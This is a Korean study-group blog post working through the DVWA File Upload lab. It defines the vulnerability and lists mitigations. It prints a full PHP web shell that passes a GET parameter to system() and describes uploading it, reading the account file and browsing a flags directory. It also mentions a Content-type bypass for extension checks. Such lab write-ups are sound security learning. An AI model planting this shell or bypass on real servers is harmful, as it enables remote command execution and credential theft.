TeamH4C

[빡공팟 5기] W5 : DVWA 실습 - File Upload

이유갬 2022. 10. 23. 02:21

[File Upload 취약점의 정의]

파일 업로드 기능이 있을 때,

사용자의 파일 이름을 필터링 없이 서버에 업로드하거나, 확장자의 필터링 없이 서버에 업로드 할 시에

업로드 파일 이름으로 인해 지정된 디렉토리가 아닌 다른 디렉토리에 파일 업로드가 가능하거나 확장자가 .php, .asp, .jsp 일 경우 시스템 함수를 호출할 수 있어 취약점이 발생한다.

 

[실습 내용]

쉘 파일 업로드를 통한 명령어 사용 및 중요한 파일 읽어들이기

 

[공격을 보안하는 방법]

사용자가 업로드한 파일 이름을 그대로 사용하지 않고 난수화하거나

확장자 검사를 하거나 -> 확장자 검사를 우회하는 방법도 존재하더라 -> Proxy 를 이용하여

Content-type 속성을 변경하면 된다.

업로드 된 파일에 직접 접근할 수 없게 해야한다.

 


[초기화면]

- 서버의 경로가 그대로 드러나는 것을 확인할 수 있다.

- 이 취약점을 이용하여 쉘을 실행 시키는 php 파일을 업로드 해보았다.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']); //cmd 호출
    }
?>
</pre>
</body>
</html>

- 업로드가 성공했다.

- 확장자를 필터링하는 코드가 없는 듯 하다 -> 한번 소스 코드를 확인해보았다.

 

[View Source]

- 예상대로 파일의 확장자를 필터링하거나 보안적으로 조치해놓은 코드는 보이지 않는다.

- 업로드 된 경로로 이동하였더니 쉘이 실행되었다.

- 처음에 업로드 한 사진이랑 shell.php 파일이 보인다.

- 현재 계정의 정보를 출력해보았다.

- 사용자 계정이 모여있는 중요 파일의 내용을 읽을 수 있었다.

- 그 외에 다양한 명령어를 사용해보았는데, cd ../flags;cat fi.php 를 실행해보니 아래와 같은 내용이 나왔다.

- 어쩌다 저런 구체적인 명령어를 치게 됐냐고 물으신다면 신기해서 이것저것 디렉토리 둘러보다가 플래그라는 말에 꽂혀서 들어갔다 ㅎㅎ

- 이게 어떤 의미인지는 모르겠지만(드디어 정체를 알았다) 만약 플래그가 있는 파일이라거나 중요한 파일이였다면 이런식으로 획득이 가능하다는 것을 보여준다.

- DVWA 도 플래그를 획득하는 거면 더 재밌었을 것 같다..(View Help 를 눌러보렴 얘야..)

 

+) File Inclusion  풀다가 말고 이걸 풀이하고나서 다시 File Inclusion 을 게시글 정리했는데 어쩐지 문장이 너무 익숙하다했더니.. 이미 여기서 목격했었다.. 저거 나올 때 대체 저런 게 왜 있나 싶었는데..